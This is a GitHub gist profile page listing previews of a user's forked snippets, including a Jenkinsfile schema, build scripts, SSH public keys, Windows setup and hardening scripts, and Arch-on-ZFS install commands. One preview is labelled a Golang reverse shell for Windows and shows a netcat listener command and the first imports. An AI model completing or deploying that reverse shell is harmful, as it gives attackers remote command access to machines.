Skip to content

Instantly share code, notes, and snippets.

View DanielBodnar's full-sized avatar

Daniel Bodnar DanielBodnar

  • BitBuilder.io
  • Denton, Tx
  • 14:33 (UTC -06:00)
View GitHub Profile
@DanielBodnar
DanielBodnar / Jenkinsfile.json
Created April 17, 2024 04:48 — forked from JJediny/Jenkinsfile.json
JSON Schema of a Jenkinsfile (DSL Pipeline)
{
"description": "Jenkinsfile YAML",
"definitions": {
"libraries": {
"description": "One or more shared library identifiers to load",
"type": "array",
"items": {
"type": "string"
},
"minItems": 1
#!/usr/bin/env bash
set -e
ID_PREFIX="io.buildpacks.samples.stacks"
DEFAULT_PREFIX=cnbs/sample-base
DEFAULT_PLATFORM=amd64
REPO_PREFIX=${DEFAULT_PREFIX}
PLATFORM=${DEFAULT_PLATFORM}
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKWCFsxoqbgx7OTyG+leIupkbk68+fA6c78DZ1LiYhWf
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID3Ket51vJ+UlJXgLXQQpspRA8cP5Ab90kBc5EVNqVeu
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE2ybuclq+Jr7LugVa31Z6aqrVIZ/F0DO2j47QadPdKG
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWsM8Cfbd3cuKcRICkvHVtc6ySVE2HVyJdQnzxpvloGbV7uCrY5PAZ2XJr0giFBK47At2MxC7OfO7V2thxBlLMGPm593GZXL1FIK2yju8AyaJircL226SS+4WJASRdQxNN0f9LHWEYGs5IqdtckpTgB9HIBXqahTxNr1b2DPoN3zvnBw+niYMa0w4PnyzDSCM8I94dS24covzog8Hm9GV29OhygeRPOW+tgmQcbKiu1B66c9jcu0p+l5tEIyOinVftSxXs7Jh22hN+OgpFP/c8vRJgEKZDH+Z70oDcJFAIpsyatj1rCl9aeYbHfzHB+BYinJ+rDq2aL8QK2cdbMi/thIad7JlNZiz6vJ0plG9KnIssxY2720jXvQw4qRo/867dShl3zBMmJt+Qpaw1QH5uCcysaMb3B6h0sux2wqVyxJF5wwut7AvuQpSmvwXiH2bYc03M7MnjLVyflyvyAQkFNuArXYOjQyKVha6TyQqUSW3KjEnpgdLG+YSCJvQdvtI+vlHdlpQQA0zjTzn5tTbIjJqZ3EAWYYmFJqi0bHWw6kt8beR+QrhzzN+4qv0BY6YjX7dtuMfAklcM7cjRH4iQJJs8mPon3NlzHVzrK7r+MSdD+QF6fQZxGvT2TuA8d5N97m5rB30HUFIl0TuQRNwSxOZgdahSSWrqjIqFXwDQ4Q==
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWsM8Cfbd3cuKcRICk
@DanielBodnar
DanielBodnar / gist:bdd67f0ecbf142df857ab948b3a943c6
Created December 22, 2020 22:53 — forked from chrisdone/gist:02e165a0004be33734ac2334f215380e
Build and run minimal Linux / Busybox systems in Qemu

Common

export OPT=/opt
export BUILDS=/some/where/mini_linux
mkdir -p $BUILDS

Linux kernel

@DanielBodnar
DanielBodnar / docker.list
Created October 22, 2020 16:09
Ubuntu 18.04 apt sources
deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable
@DanielBodnar
DanielBodnar / Background_set.ps1
Created March 25, 2020 02:16
WRS: Windows Reproducible Script. `Apps_install.ps1` -> `Background_set.ps1 -> `Console_config.ps1` -> `Default.cmd`.
<#PSScriptInfo
.VERSION 1.0.0.0
.GUID 084a184a-faa1-47e4-9f1a-5d9ecede68c3
.AUTHOR Jeffrey Snover
.COMPANYNAME
@DanielBodnar
DanielBodnar / windows_hardening.cmd
Created March 25, 2020 02:09 — forked from ricardojba/windows_hardening.cmd
A Windows hardening script
::###############################################################################################################
:: Credits and More info: https://gist.github.com/mackwage/08604751462126599d7e52f233490efe
:: https://github.com/api0cradle/LOLBAS
:: https://github.com/Disassembler0/Win10-Initial-Setup-Script
:: https://github.com/cryps1s/DARKSURGEON/tree/master/configuration/configuration-scripts
:: https://gist.github.com/alirobe/7f3b34ad89a159e6daa1#file-reclaimwindows10-ps1-L71
::
::###############################################################################################################
:: Change file associations to protect against common ransomware attacks
:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell
@DanielBodnar
DanielBodnar / reversecmd.go
Created December 22, 2019 23:47 — forked from yougg/reversecmd.go
Golang reverse shell
// +build windows
// Reverse Windows CMD
// Test with nc -lvvp 6666
package main
import (
"bufio"
"net"
"os/exec"
@DanielBodnar
DanielBodnar / zfsinstall-1-setup.sh
Created October 23, 2019 19:59 — forked from johnramsden/zfsinstall-1-setup.sh
Install scripts for installing Arch Linux on ZFS. Not runnable, just listed commands.
#!/bin/bash
# Check before running, may need intervention
# Pass in the following to the script, or hardcode it.
# Uncomment if hardcoding input.
BOOT_PARTITION="/dev/sdg1"
DISK_1="ata-SanDisk_SDSSDXPS480G_152271401093"
DISK_2="ata-SanDisk_SDSSDXPS480G_154501401266"
POOL="vault"